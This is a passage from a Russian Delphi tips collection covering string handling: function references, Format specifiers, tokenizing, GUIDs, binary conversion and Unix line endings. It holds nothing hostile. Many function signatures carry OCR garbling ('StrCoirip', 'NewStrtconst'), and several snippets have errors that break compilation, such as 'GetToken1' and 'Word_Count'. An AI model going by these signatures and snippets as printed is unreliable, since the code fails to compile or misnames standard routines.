begin
  y := GetPropList(Self, pl);
  for x := 0 to y - 1 do
  begin
    if Copy(pl[x].Name, 1, 2) <> 'On' then Continue;
    if GetMethodProp(Self, pl[x].Name).Code <> nil then
      Memo1.Lines.Add(Self.Name + ' - ' + pl[x].Name);
  end;
  for z := 0 to Self.ComponentCount - 1 do
  begin
    y := GetPropList(Self.Components[z], pl);
    for x := 0 to y - 1 do
    begin
      if Copy(pl[x].Name, 1, 2) <> 'On' then Continue;
      if GetMethodProp(Self.Components[z], pl[x].Name).Code <> nil then
        Memo1.Lines.Add(Self.Components[z].Name + ' - ' + pl[x].Name);
    end;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Сгруппировать свойства наподобие Font

...чтобы сгруппировать свойства наподобие Font, вам необходимо создать наследника (подкласс) TPersistent. Например:

TBoolList = class(TPersistent)
  private
    FValue1: Boolean;
    FValue2: Boolean
  published
    property Value1: Boolean read FValue1 write FValue1;
    property Value2: Boolean read FValue2 write FValue2;
end;

Затем, в вашем новом компоненте, для этого подкласса необходимо создать ivar. Чтобы все работало правильно, вам =необходимо= перекрыть конструктор.

TMyPanel = class(TCustomPanel)
  private
    FBoolList: TBoolList;
  public
    constructor Create( AOwner: TComponent ); override;
  published
    property BoolList: TBoolList read FBoolList write FBoolLisr;
end;

Затем добавьте следующий код в ваш конструктор:

constructor TMyPanel.Create( AOwner: TComponent );
begin
  inherited Create( AOwner );
  FBoolList := TBoolList.Create;
end;

Взято с http://delphiworld.narod.ru


Работа со строками

Cодержание раздела:

Справочник по функциям работы со строками New!
Справочник по функциям работы с PChar New!
Функции форматирования строк New!
Как хранятся строки?
Как осуществить поиск слов по маске?
Генерация GUID как строки
Как разделить строку на элементы, Аналог VB функции Split
Как преобразовать String в Binary и наоборот?
Из строки в массив и наоборот
Как подсчитать количество слов в строке?
Unix-строки (чтение и запись Unix-файлов)
PChar-->Integer
Разбивка строки на слова
String --> PChar
Парсинг строк
HexToStr, '4D 5A' --> 'MZ'
Функции преобразования UNICODE и ANSI строк New!
Регулярные выражения New!
Explode / Implode a String? New!
Количество вхождений подстроки в строку New!
Как использовать format parameter больше одного раза? New!
WideString -->String New!
String --> WideString New!
Быстрые операции с очень большими строками New!
Как получить количество активных ссылок на строку? New!
BCD --> String New!
String --> BCD New!
Как найти строку в строке начиная с определённой позиции? New!
String --> HKEY New!
HKey --> String? New!
Инкрементация строкового поля New!
модуль поиска по маске New!

См. также статьи в других разделах:
Как преобразовать строку в дату?
Число английской строкой
Число русской строкой
Число украинской строкой
Как скопировать содержимое строки в буфер обмена?
ANSI ---> ASCII
RTF-->HTML
DFM -->TXT, TXT --> DFM
Win1251 <-> Koi8r
Как конвертировать WideString в String?


Справочник по функциям работы со строками

function NewStrtconst(S: String): PString; Создает копию строки S и возвращает указатель на нее.

procedure DisposeStr(P: PString) ; Уничтожает строку, на которую указывает Р.

procedure AssignStr(var P: PString; const S: strings) Уничтожает строку, на которую указывает Р и затем присваивает ему адрес созданной копии строки S.

procedure AppendStrfvar Dest: string; const S: string); Добавляет строку S в конец строки Dest.

function Uppercase(const S: string): string; Преобразует символы 'a'..'z' в строке S к верхнему регистру.

function LowerCase(const S: string): string; Преобразует символы 'A'..'Z' в строке S к нижнему регистру.

function CompareStr(const SI, S2: string): Integer; Сравнивает две строки S1 и S2 с учетом регистра символов. Возвращаемое значение равно 0 в случае равенства строк или разности кодов пары первых несовпадающих символов.

function CompareText(const SI, S2: string): Integer; Сравнивает две строки без учета регистра символов.

function AnsiUpperCase(const S: string): string; Преобразует символы в строке к верхнему регистру с учетом языкового драйвера.

function AnsiLowerCase(const S: string) : string; Преобразует символы в строке к нижнему регистру с учетом языкового драйвера.

function AnsiCompareStr(const SI, S2: string): Integer; Сравнивает две строки с использованием языкового драйвера и с учетом регистра символов.

function AnsiCompareText(const SI, S2 : string) : Integer; Сравнивает две строки с использованием языкового драйвера и без учета регистра символов.

function IsValidldent(const Ident: string): Boolean; Возвращает True, если строка Ident может служить идентификатором в программе на Object Pascal (т. е. содержит только буквы и цифры, причем первый символ — буква).

function IntToStr(Value: Longint): string; Преобразует целое число в строку.

function IntToHex(Value: Longint; Digits: Integer): s t r ing ; Преобразует целое число в строку с его шестнадцатиричным представлением.

function StrToInt(const S: string): Longint; Преобразует строку в целое число. При ошибке возникает исключительная ситуация EConvertError.

function StrToIntDef(const S: string; Default; Longint): Longint ; Работает как StrToInt, но при ошибке возвращает значение Default.

function LoadStr(Ident: Word) : string; Загружает строку с индексом Ident из ресурсов приложения.

function FmtLoadStr(Ident: Word; const Args: array of const): string; Загружает строку с индексом Ident из ресурсов приложения с форматированием (см. описание функции Format).


Справочник по функциям работы с PChar

function StrLIComp(Strl, Str2: PChar; MaxLen: Cardinal) : Integer; Работает как StrLComp, но без учета регистра символов.

function StrScantStr: PChar; Chr: Char) : PChar; Отыскивает первое вхождение символа Chr в строку Str и возвращает указатель на него или nil в случае отстутствия.

function StrRScanfStr: PChar; Chr: Char) : PChar; Работает как StrScan, но отыскивается последнее вхождение Chr.

function StrPos(Strl, Str2: PChar) : PChar; Отыскивает первое вхождение строки Str2 в строку Strl и возвращает указатель на нее или nil в случае отстутствия.

function StrUpperfStr: PChar) : PChar; Преобразует строку к верхнему регистру.

function StrLower(Str: PChar): PChar; Преобразует строку к нижнему регистру.

function StrPaslStr: PChar): String; Преобразует строку Str в строку типа string.

function StrAlloc(Size: Cardinal): PChar; Размещает в куче памяти новую строку размером Size и возвращает указатель на нее.

function StrBufSize(Str: PChar): Cardinal; Возвращает размер блока памяти, выделенного для строки при помощи функции StrAlloc.

function StrNewfStr: PChar): PChar ; Размещает в куче памяти копню строки Str и возвращает указатель на нее.

procedure StrDispose(Str: PChar); Уничтожает строку, размещенную при помощи StrAlloc или StrNew.

function StrLenfStr: PChar): Возвращает число символов в строке Str (без учета завершающего нулевого).

function StrEndfStr: PChar): PChar; Возвращает указатель на завершающий нулевой символ строки Str.

function StrMove(Dest, Source: PChar; Count: Cardinal): PChar; Копирует из строки Source в строку Dest ровно Count символов, причем строки могут перекрываться.

function StrCopy(Dest, Source: PChar): PChar; Копирует Source в Dest и возвращает указатель на Dest.

function StrECopy(Dest, Source: PChar): PChar; Копирует Source в Dest и возвращает указатель на завершающий символ Dest.

function StrLCopy(Dest, Source: PChar; MaxLen: Cardinal): PChar; Работает как StrCopy, но копирует не более MaxLen символов.

function StrPCopy(Dest: PChar; const Source: String): PChar; Копирует строку Source (типа string) в Dest и возвращает указатель на Dest.

function StrPLCopy(Dest: PChar; const Source: string; MaxLen: Cardinal): PChar; Работает как StrPCopy, но копирует не более MaxLen символов.

function StrCat(Dest, Source: PChar): PChar; Дописывает Source к концу Dest и возвращает указатель на Dest.

function StrLCatfDest, Source: PChar; MaxLen: Cardinal) : PChar; Работает как StrCat, но копирует не более MaxLen-StrLen(Dest) символов.

function StrCoirip(Strl, Str2: PChar): Integer; Сравнивает две строки (посимвольно). Возвращает значение: <0 — при Strl <Str2, 0 — при Strl =Str2, >0 — при Strl >Str2.

function StrIComp(Strl, Str2: PChar): Integer; Работает как StrComp, но без учета регистра символов.

function StrLComp(Strl, Str2: PChar; MaxLen: Cardinal): Integer; Работает как StrComp, но сравнение происходит на протяжении не более чем MaxLen символов.


Функции форматирования строк

Еще со времен языка FORTRAN у программистов появилась необходимость форматировать строки, направляемые на устройства вывода. Требовался легкий способ для того, чтобы не просто преобразовать число в строку, но также объединить эту строку с другими и включить ее в состав целого предложения.

В Delphi существует группа функций форматирования строк. Их рассмотрение начнем с наиболее часто встречающегося представителя — функции Format:

function Format (const Format: string; const Args: array of const) : string;

Первым параметром функции выступает форматирующая строка. Это — обычная текстовая строка, но в ней на нужных местах стоят специальные символы, которые определяют, какие и как туда будут подставлены параметры.

Второй параметр функции Format называется списком аргументов. Он и содержит "вставляемые" в форматирующую строку параметры. Обратите внимение, что этот открытый массив имеет тип array of const. и в нем может передаваться переменное число разнотипных параметров. Например, после выполнения

S := Format('Product %s , version %d.%d', [ 'Borland Delphi' , 1, 0]);

строке S будет присвоено: Product Borland Delphi , version 1.0. Рассмотрим подробнее правила, по которьм составляется форматирующая строка.

"Специальные" места в ней называются спецификаторами формата и представляют собой следующие конструкции

"%" [index":"] ["-"I [width] ["."prec] type
где обозначены:
символ -%", с которого начинаются все спецификаторы формата (обязательный);
поле индекса аргумента [ index " : " ] (необязательное);
признак выравнивания по левому краю ["-"I (необязательный);
поле ширины [width] (необязательное);
поле точности [ - . - prec ] (необязательное);
символ типа преобразования type (обязательный).

Каждый спецификатор формата соответствует как минимум одному из элементов списка аргументов и определяет, как именно рассматривать его и преобразовывать в строку.
Функция Format поддерживает следующие символы типа преобразования:
d Десятичный Элемент должен быть целым числом и преобразуется в строку десятичных цифр. Если при символе есть поле точности, то в выходной строке будет минимум ргес цифр; если при преобразовании числа их потребуется меньше, то строка дополняется слева нулями.

х Шестнадцатиричный Как тип d, но элемент преобразуется в строку шестнадцатиричных цифр.

е Научный Элемент должен быть числом с плавающей точкой. Он преобразуется к нормализованному виду -d.dddE+ddd. Перед десятичной точкой всегда находится одна цифра (при необходимости, с минусом). После символа "Е" идет показатель степени, имеющий знак и состоящий не менее чем из 3 цифр. Общее число символов в представлении числа определяется полем ргес (по умолчанию 15).

f Фиксированный Элемент должен быть числом с плавающей точкой. Он преобразуется к виду -ddd.ddd. Поле ргес означает количество цифр после десятичной точки (по умолчанию 2).

l Обобщенный Элемент должен быть числом с плавающей точкой. Он преобразуется к одному из двух вышеперечисленных видов — выбирается тот, который обеспечивает более короткую запись. Если требуемое число цифр слева от десятичной точки меньше значения поля ширины и само число больше 10" , применяется фиксированный тип. Удаляются все впереди идущие нули, десятичная точка (при возможности), а также символы, разделяющие строку на группы по три цифры.

п m Числовой Денежный Совпадает с типом f за исключением того, что после каждой группы из трех цифр ставятся разделительные символы: d,ddd, ddd.ddd.... Элемент должен быть числом с плавающей точкой, отражающей денежную сумму. Способ ее представления зависит от значений глобальных констант, определенных в модуле SYSUTILS (см. ниже). В свою очередь, они зависят от настройки Windows на обозначения, принятые в данной стране.

Р Указатель Элемент должен быть указателем. На выходе он будет представлять из себя строку шестнадцатиричных цифр вида ХХХХ: YYYY, где ХХХХ — селектор, YYYY — смещение.

s Строка Элемент может иметь тип string, PChar или быть отдельным символом (Char). Эта строка (или символ) вставляются вместо спецификатора формата. Если присутствует поле ргес и длина строки больше его значения, то она усекается.

Примечания:
1. Форматирующие символы можно задавать как в верхнем, так и в нижнем регистрах.
2. Тип преобразования m (денежный) тесно связан с правилами представления, принятыми в конкретной стране. Для этого в модуле SYSUTILS определены значения ряда типизированных констант, начальные значения которых берутся из секции [Inti] файла WIN.INI. Вы можете изменять их значения в соответствии с вашими потребностями:

CurrencyString: string[7]; Символ (или символы), добавляемые к строке с представлением денежной суммы и обозначающие национальную денежную единицу. Это может быть, например, '$', 'DM' или 'руб'.

CurrencyFormat: Byte; Определяет способ добавления знака денежной единицы к строке. Число 1 будет преобразовано так в зависимости от значения этого параметра: '$!' при 0; '1$' при 1; '$ Г при 2; '1 $' при 3.

NegCurrFormat: Byte; Определяет способ добавления знака денежной единицы и минуса к строке в том случае, если происходит преобразование отрицательного числа (к положительным числам отношения не имеет). Число -1 будет преобразовано так в зависимости от значения этого параметра: '($!)' при 0; '-$!' при 1; '$-1' при 2; '$!-' при 3; '(!$)' при 4; '-!$' при 5; 'i-$' при 6; '!$-' при 7; '-1 $' при 8; '-$ Г при 9; '$ 1-' при 10.

CurrencyDecimals: Byte; Число знаков после запятой в представлении денежных сумм. Например, число 10.15 при разных значениях этого параметра отобразится так: '$10' при 0, '$10.15' при 2, '$10.1500' при 4.

ThousandSeparator: Char; Символ, разделяющий строку на группы по три цифры справа налево (разделитель тысяч). Применяется, в частности, в типе преобразования п.

DecimalSeparator: Char; Символ, отделяющий дробную часть числа от целой.

Мы закончили рассмотрение символа типа преобразования. Рассмотрим остальные составные части спецификатора формата.

Поле ширины устанавливает минимально допустимое количество символов в преобразованной строке. Это означает, что если она короче, чем задано в этом поле, то происходит добавление пробелов до требуемого количества. По умолчанию пробелы добавляются спереди (выравнивание по правому краю), но признак выравнивания по левому краю ("-"; он должен стоять перед полем ширины) позволяет выравнивать строку по-иному.

Поле индекса позволяет динамически изменить последовательность извлечения аргументов из массива. Обычно аргументы извлекаются последовательно, по мере их востребования спецификаторами формата. Поле индекса означает, что следующим нужно извлечь аргумент с данным индексом. Пользуясь индексом, одни и те же аргументы могут быть использованы многократно. Например, вызов Format ( ' %s %s %0 : s %s ', [ 'Yes', 'No' ] ) Даст на выходе строку 'Yes No Yes No'.

Поле точности играет разную роль в зависимости от того, с каким типом преобразования применяется. Его особенности приведены вместе с описанием типа (с теми из них, где оно имеет смысл).
Поля индекса, ширины и точности могут быть заданы напрямую или косвенно. Первый способ подразумевает явное указание значения поля (например, ' %10 . 5f '). Для косвенного задания значений нужно в соответствующих местах цифры заменить звездочками (например, '%*.*f'). В этом случае вместо звездочек будут подставлены следующие значения из списка аргументов (они обязательно должны быть целыми числами). Например, выражение

Format('Value is %*.*',[10,5, 2.718]);
эквивалентно:
Format('Value is %10.5',[2.718]);

Как уже упоминалось, наиболее употребимой функцией из группы форматирующих является Format, которая работает со строками типа string и максимально освобождает программиста от рутинной работы. Другие функции используют то же ядро и правила преобразования, но отличаются параметрами:

procedure FmtStr(var Result: string; const Format: string; const Args: array of const); To же, что и Format, но оформлено в виде процедуры. Результат преобразования возвращается в параметре Result.

function StrFmt(Buffer, Format: PChar; const Args: array of const): PChar; Форматирующая строка должна находиться в параметре Format, а результирующая помещается в буфер Buffer (он должен иметь нужную длину). Функция возвращает указатель на Buffer.

function StrLFmt(Buffer: PChar; MaxLen: Cardinal; Format: PChar; const Args: array of const) : PChar; Работает как StrFmt, но длина результирующей строки не будет превышать MaxLen символов.

function FormatBuf(var Buffer; BufLen: Cardinal; const Format; FmtLen: Cardinal; const Args: array of const) : Cardinal; Форматирующая строка находится в буфере Format длиной FmtLen, a результирующая — в буфере Buffer длиной BufLen. Функция возвращает число реально помещенных в Buffer символов, причем оно всегда меньше или равно BufLen.


Как хранятся строки?

Тип String:
по смещению -4 храниться длина строки
по смещению -8 храниться счётчик ссылок на строку (когда он обнуляется строка уничтожается)
Сама строка располагается в памяти как есть - каждая буква занимает 1 байт.
При копировании строки:
s1:=s2 - реального копирования не происходит, увеличивается только счётчик ссылок, но если после этого изменить одну из строк:
s1:=s1+'a';
то произойдёт физическое копирование содержимого строк, и теперь s1 и s2 будут показывать на разные адреса памяти.
PChar - длина строки определяется от начала до #0 байта, по сути это чистой воды pointer, так что все действия по отслеживанию распределения памяти лежат на программисте - сами заботьтесь о том чтобы хватило места для распределения памяти и освобождении после использования. Тоже одна буква = 1 байт
Для хранения unicode (т.е. 2х байтовых символов) используйте соответствующие символы с приставкой Wide...
Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Примечание Fantasist'a:

Это верно только если s1 - локальная переменная, или s1 и s2 - обе не локальные. Если s1 не локальная(глобальная или член класса), а s2 - локальная происходит копирование.

Взято с Vingrad.ru http://forum.vingrad.ru


Как осуществить поиск слов по маске?

Может у кого-нибудь есть готовая функция поиска(выборки) слов по маске (с использованием символов '*' и '?').

Такая функция в Дельфи есть: MatchesMask из модуля masks.

Автор ответа: MBo
Взято с Vingrad.ru http://forum.vingrad.ru


Генерация GUID как строки

Как в Run-time сгененрировать строку типа

'{821AB2C7-559D-48E0-A3EE-6DD50E83234C}'

Типа как в среде при нажатии Ctrl-Shift-G. Функция CoCreateGuid выводит значение типа TGUID, я нигде не нашёл функции конвертации TGUID -> String. Может кто знает такую функцию?

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Есть такая функция. Как ни странно называется она GUIDToString, и живет в SysUtils.

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru

Можно GUIDToString написать и вручную, будет выглядеть примерно так:

procedure TForm1.Button1Click(Sender: TObject);
var
  G: TGUID;
  S: string;
  i: Integer;
begin
  CoCreateGuid(G);
  S := '{' + IntToHex(G.D1, 8) + '-' + IntToHex(G.D2, 4) + '-' + IntToHex(G.D3, 4) + '-';
  for i := 0 to 7 do
    begin
      S := S + IntToHex(G.D4[i], 2);
      if i = 1 then S := S + '-'
    end;
  S := S + '}';
  ShowMessage(GUIDToString(G) + #13 + S)
end;

Автор: Jin X


Как разделить строку на элементы, Аналог VB функции Split

Вариант 1.

В Дельфи есть специальный класс для хранения массивов строк - TStringList - очень рекомендую. Вот как вашу строку превратить в TStringList:

Объявление переменной

var t:TStringList;

begin
  t:=TStringList.create; //создаём класс
  t.text:=stringReplace('Ваша строка для разделения',' ',#13#10,[rfReplaceAll]);//мы заменяем все пробелы на символы конца строки
//теперь можно убедится что у вас строка разбина на элементы:
  showmessage(t[0]);
  showmessage(t[1]);
  showmessage(t[2]);
  showmessage(t[3]);
...
//после работы надо уничтожить класс
t.free;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Вариант 2. Используем стандартные массивы:

  var a:array of string;//наш массив
      s:string;//строка которую мы будем разбивать
begin
  s:='Windows Messages SysUtils Variants Classes Graphics Controls Forms';
  Repeat //мы постепенно заполняем массив на каждом шаге цикла по 1 элементу
    setlength(a,length(a)+1);//увеличиваем размер массива на 1
    if pos(' ',s)>0 then //если есть пробел то надо взять слово до пробела
      begin
        a[length(a)-1]:=copy(s,1, pos(' ',s));//присвоение последнему элементу массива первого слова
        s:=copy(s,pos(' ',s)+1, length(s));//удаляем из строки первое слово
      end
    else//в строке осталось только одно слово
      begin
        a[length(a)-1]:=s;// присвоим последнее слово
        break;//выход из цикла
      end;
  Until False;//цикл бесконечный, выход изнутри
//теперь проверяем что получили
  showmessage(a[0]);
  showmessage(a[1]);
  showmessage(a[2]);

После использования массива не забудте освободить память a:=nil или setlength(a,0)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

procedure SplitOnWords(const s:string; Delimiters:set of char; Strings:TStrings);
var
  p,sp:PChar;
  str:string;

begin
 include(Delimiters,#0); //чтоб уж наверняк
 p:=pointer(s);
 while true do
 begin
   //пропускаем все разделители в начале
   while p^ in Delimiters do
    if p^=#0 then
      exit
    else
      inc(p);
    sp:=p;
    //пока не кончилось слово.
    while not (p^ in Delimiters) do inc(p);

    //запоминаем слово
    SetLength(str,cardinal(p)-cardinal(sp));
    Move(sp^,pointer(str)^,cardinal(p)-cardinal(sp));
    Strings.Add(str);
 end;
end;

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru

См. также Парсинг строк


Как преобразовать String в Binary и наоборот?

Автор: Rem
function BinStrToByte(a_sBinStr: string): byte;
var
 i: integer;
begin
 Result := 0;
 for i := 1 to length(a_sBinStr) do
   Result := (Result shl 1) or byte(a_sBinStr[i] = '1');
end;

function ByteToBinStr(a_bByte: byte): string;
var
 i: integer;
begin
 SetLength(Result, 8);
 for i := 8 downto 1 do
 begin
   Result[i] := chr($30 + (a_bByte and 1));
   a_bByte := a_bByte shr 1;
 end;
end;

// Примечание: вторая функция использует тот факт,
// что в таблице ANSI коды '0' = $30 и '1' = $31

Взято с http://delphiworld.narod.ru


Из строки в массив и наоборот

function StrToArrays(str, r: string; out Temp: TStrings): Boolean;
var
  j: integer;
begin
  if temp <> nil then
  begin
    temp.Clear;
    while str <> '' do
    begin
      j := Pos(r,str);
      if j=0 then
        j := Length(str) + 1;
      temp.Add(Copy(Str,1,j-1));
      Delete(Str,1,j+length(r)-1);
    end;
    Result:=True;
  end
  else
    Result:=False;
end;

function ArrayToStr(str: TStrings; r: string): string;
var
  i: integer;
begin
  Result:='';
  if str = nil then
    Exit;
  for i := 0 to Str.Count-1 do
    Result := Result + Str.Strings[i] + r;
end;

Взято с http://delphiworld.narod.ru


Как подсчитать количество слов в строке?

function Seps(As_Arg: Char): Boolean;
begin
  Seps := As_Arg in
    [#0..#$1F, ' ', '.', ',', '?', ':', ';', '(', ')', '/', '\'];
end;

function WordCount(CText: string): Longint;
var
  Ix: Word;
  Work_Count: Longint;
begin
  Work_Count := 0;
  Ix         := 1;
  while Ix <= Length(CText) do
  begin
    while (Ix <= Length(CText)) and (Seps(CText[Ix])) do
      Inc(Ix);
    if Ix <= Length(CText) then
    begin
      Inc(Work_Count);

      while (Ix <= Length(CText)) and (not Seps(CText[Ix])) do
        Inc(Ix);
    end;
  end;
  Word_Count := Work_Count;
end;

{
  To count the number opf words in a TMemo Component,
  call: WordCount(Memo1.Text)
}

Взято с http://delphiworld.narod.ru


Unix-строки (чтение и запись Unix-файлов)

unit StreamFile;

interface

uses SysUtils;

procedure AssignStreamFile(var F: Text; Filename: string);

implementation

const
  BufferSize = 128;

type
  TStreamBuffer = array[1..High(Integer)] of Char;
  TStreamBufferPointer = ^TStreamBuffer;
  TStreamFileRecord = record
    case Integer of
      1:
      (
        Filehandle: Integer;
        Buffer: TStreamBufferPointer;
        BufferOffset: Integer;
        ReadCount: Integer;
        );
      2:
      (
        Dummy: array[1..32] of Char
        )
  end;

function StreamFileOpen(var F: TTextRec): Integer;
var
  Status: Integer;
begin
  with TStreamFileRecord(F.UserData) do
    begin
      GetMem(Buffer, BufferSize);
      case F.Mode of
        fmInput:
          FileHandle := FileOpen(StrPas(F.Name), fmShareDenyNone);
        fmOutput:
          FileHandle := FileCreate(StrPas(F.Name));
        fmInOut:
          begin
            FileHandle := FileOpen(StrPas(F.Name), fmShareDenyNone or
              fmOpenWrite or fmOpenRead);
            if FileHandle <> -1 then
              status := FileSeek(FileHandle, 0, 2); { Перемещаемся в конец файла. }
            F.Mode := fmOutput;
          end;
      end;
      BufferOffset := 0;
      ReadCount := 0;
      F.BufEnd := 0; { В этом месте подразумеваем что мы достигли конца файла (eof). }
      if FileHandle = -1 then
        Result := -1
      else
        Result := 0;
    end;
end;

function StreamFileInOut(var F: TTextRec): Integer;

  procedure Read(var Data: TStreamFileRecord);
    procedure CopyData;
    begin
      while (F.BufEnd < Sizeof(F.Buffer) - 2)
        and (Data.BufferOffset <= Data.ReadCount)
        and (Data.Buffer[Data.BufferOffset] <> #10) do
        begin
          F.Buffer[F.BufEnd] := Data.Buffer^[Data.BufferOffset];
          Inc(Data.BufferOffset);
          Inc(F.BufEnd);
        end;
      if Data.Buffer[Data.BufferOffset] = #10 then
        begin
          F.Buffer[F.BufEnd] := #13;
          Inc(F.BufEnd);
          F.Buffer[F.BufEnd] := #10;
          Inc(F.BufEnd);
          Inc(Data.BufferOffset);
        end;
    end;

  begin
    F.BufEnd := 0;
    F.BufPos := 0;
    F.Buffer := '';
    repeat
      begin
        if (Data.ReadCount = 0) or (Data.BufferOffset > Data.ReadCount) then
          begin
            Data.BufferOffset := 1;
            Data.ReadCount := FileRead(Data.FileHandle, Data.Buffer^, BufferSize);
          end;
        CopyData;
    end until (Data.ReadCount = 0)
    or (F.BufEnd >= Sizeof(F.Buffer) - 2);
    Result := 0;
  end;

  procedure Write(var Data: TStreamFileRecord);
  var
    Status: Integer;
    Destination: Integer;
    II: Integer;
  begin
    with TStreamFileRecord(F.UserData) do
      begin
        Destination := 0;
        for II := 0 to F.BufPos - 1 do
          begin
            if F.Buffer[II] <> #13 then
              begin
                Inc(Destination);
                Buffer^[Destination] := F.Buffer[II];
              end;
          end;
        Status := FileWrite(FileHandle, Buffer^, Destination);
        F.BufPos := 0;
        Result := 0;
      end;
  end;
begin
  case F.Mode of
    fmInput:
      Read(TStreamFileRecord(F.UserData));
    fmOutput:
      Write(TStreamFileRecord(F.UserData));
  end;
end;

function StreamFileFlush(var F: TTextRec): Integer;
begin
  Result := 0;
end;

function StreamFileClose(var F: TTextRec): Integer;
begin
  with TStreamFileRecord(F.UserData) do
    begin
      FreeMem(Buffer);
      FileClose(FileHandle);
    end;
  Result := 0;
end;

procedure AssignStreamFile(var F: Text; Filename: string);
begin
  with TTextRec(F) do
    begin
      Mode := fmClosed;
      BufPtr := @Buffer;
      BufSize := Sizeof(Buffer);
      OpenFunc := @StreamFileOpen;
      InOutFunc := @StreamFileInOut;
      FlushFunc := @StreamFileFlush;
      CloseFunc := @StreamFileClose;
      StrPLCopy(Name, FileName, Sizeof(Name) - 1);
    end;
end;
end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


PChar-->Integer

Many Windows functions claim to want PChar parameters in the
documentation, but they are defined as requiring LongInts.
Is this a bug?

No, this is where "typecasting" is used. Typecasting allows you to
fool the compiler into thinking that one type of variable is of
another type for the ultimate in flexibility. The last parameter of
the Windows API function SendMessage() is a good example. It is
documented as requiring a long integer, but commonly requires a PChar
for some messages (WM_WININICHANGE). Generally, the variable you are
typecasting from must be the same size as the variable type you are
casting it to. In the SendMessage example, you could typecast a PChar
as a longint, since both occupy 4 bytes of memory:

var
   s : array[0..64] of char;
begin
  StrCopy(S, 'windows');
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;


Разбивка строки на слова

Приведу несколько простых функций, позволяющих работать с отдельными словами в строке. Возможно они пригодятся вам для разбивки текстовых полей на отдельные слова (for i := 1 to NumToken do ...) с последующим сохранением их в базе данных.

function GetToken(aString, SepChar: string; TokenNum: Byte): string;
{
параметры: aString : полная строка

SepChar : единственный символ, служащий
разделителем между словами (подстроками)
TokenNum: номер требуемого слова (подстроки))
result    : искомое слово или пустая строка, если количество слов

меньше значения 'TokenNum'
}
var

  Token: string;
  StrLen: Byte;
  TNum: Byte;
  TEnd: Byte;

begin

  StrLen := Length(aString);
  TNum := 1;
  TEnd := StrLen;
  while ((TNum <= TokenNum) and (TEnd <> 0)) do
  begin
    TEnd := Pos(SepChar, aString);
    if TEnd <> 0 then
    begin
      Token := Copy(aString, 1, TEnd - 1);
      Delete(aString, 1, TEnd);
      Inc(TNum);
    end
    else
    begin
      Token := aString;
    end;
  end;
  if TNum >= TokenNum then
  begin
    GetToken1 := Token;
  end
  else
  begin
    GetToken1 := '';
  end;
end;

function NumToken(aString, SepChar: string): Byte;
{
parameters: aString : полная строка

SepChar : единственный символ, служащий
разделителем между словами (подстроками)
result    : количество найденных слов (подстрок)
}

var

  RChar: Char;
  StrLen: Byte;
  TNum: Byte;
  TEnd: Byte;

begin

  if SepChar = '#' then
  begin
    RChar := '*'
  end
  else
  begin
    RChar := '#'
  end;
  StrLen := Length(aString);
  TNum := 0;
  TEnd := StrLen;
  while TEnd <> 0 do
  begin
    Inc(TNum);
    TEnd := Pos(SepChar, aString);
    if TEnd <> 0 then
    begin
      aString[TEnd] := RChar;
    end;
  end;
  Result := TNum;
end;

// Или другое решение:

function CopyColumn(const s_string: string; c_fence: char;
  i_index: integer): string;
var
  i, i_left: integer;
begin

  result := EmptyStr;
  if i_index = 0 then
  begin
    exit;
  end;
  i_left := 0;
  for i := 1 to Length(s_string) do
  begin
    if s_string[i] = c_fence then
    begin
      Dec(i_index);
      if i_index = 0 then
      begin
        result := Copy(s_string, i_left + 1, i - i_left - 1);
        exit;
      end
      else
      begin
        i_left := i;
      end;
    end;
  end;
  Dec(i_index);
  if i_index = 0 then
  begin
    result := Copy(s_string, i_left + 1, Length(s_string));
  end;
end;

Я знаю что в GetToken параметр SepChar (в моем случае c_fence) строка, не символ, но комментарий гласит, что функция ожидает единственный символ в этой строке, и это очевидно, поскольку если вы пошлете более одного символа, функция попросту несработает. ( Delete(aString,1,TEnd) будет ошибкой, если Length( SepChar ) > 1 ).

Взято с http://delphiworld.narod.ru

см. также Парсинг строк


String --> PChar

Var S: String;
    P: PChar;

....

P:=PChar(S);

Взято из http://forum.sources.ru


Парсинг строк

unit splitfns;
interface
uses Classes, Sysutils;
function GetNextToken
   (Const S: string;
   Separator: TSysCharSet;
   var StartPos: integer): String;

{Returns the next token (substring)
from string S, starting at index
StartPos and ending 1 character
before the next occurrence of
Separator (or at the end of S,
whichever comes first).}
{StartPos returns the starting
position for the next token, 1
more than the position in S of
the end of this token}

procedure Split
   (const S: String;
   Separator: TSysCharSet;
   MyStringList: TStringList);

{Splits a string containing designated
separators into tokens and adds
them to MyStringList NOTE: MyStringList
must be Created before being passed to this
procedure and Freed after use}

function AddToken
   (const aToken, S: String;
   Separator: Char;
   StringLimit: integer): String;

{Used to join 2 strings with a
separator character between them and
can be used in a Join function}
{The StringLimit parameter prevents
the length of the Result String
from exceeding a preset maximum}

implementation

function GetNextToken
   (Const S: string;
   Separator: TSysCharSet;
   var StartPos: integer): String;
var Index: integer;
begin
   Result := '';

{Step over repeated separators}
   While (S[StartPos] in Separator)
   and (StartPos <= length(S))do
    StartPos := StartPos + 1;

   if StartPos > length(S) then Exit;

{Set Index to StartPos}
   Index := StartPos;

{Find the next Separator}
   While not (S[Index] in Separator)
   and (Index <= length(S))do
    Index := Index + 1;

{Copy the token to the Result}
   Result := Copy(S, StartPos, Index - StartPos);

{SetStartPos to next Character after the Separator}
   StartPos := Index + 1;
end;

procedure Split
   (const S: String;
   Separator: TSysCharSet;
   MyStringList: TStringList);
var Start: integer;
begin
   Start := 1;
   While Start <= Length(S) do
     MyStringList.Add
       (GetNextToken(S, Separator, Start));
end;

function AddToken (const aToken, S: String;
                    Separator: Char;
                    StringLimit: integer): String;
begin
   if Length(aToken) + Length(S) < StringLimit then
     begin
       {Add a separator unless the
        Result string is empty}
       if S = '' then
         Result := ''
       else Result := S + Separator;

       {Add the token}
       Result := Result + aToken;
     end
   else
   {if the StringLimit would be
   exceeded, raise an exception}
     Raise Exception.Create('Cannot add token');
end;
end.

пример использования:

...
  data:= TStringList.Create;
  splited:=TStringList.Create;
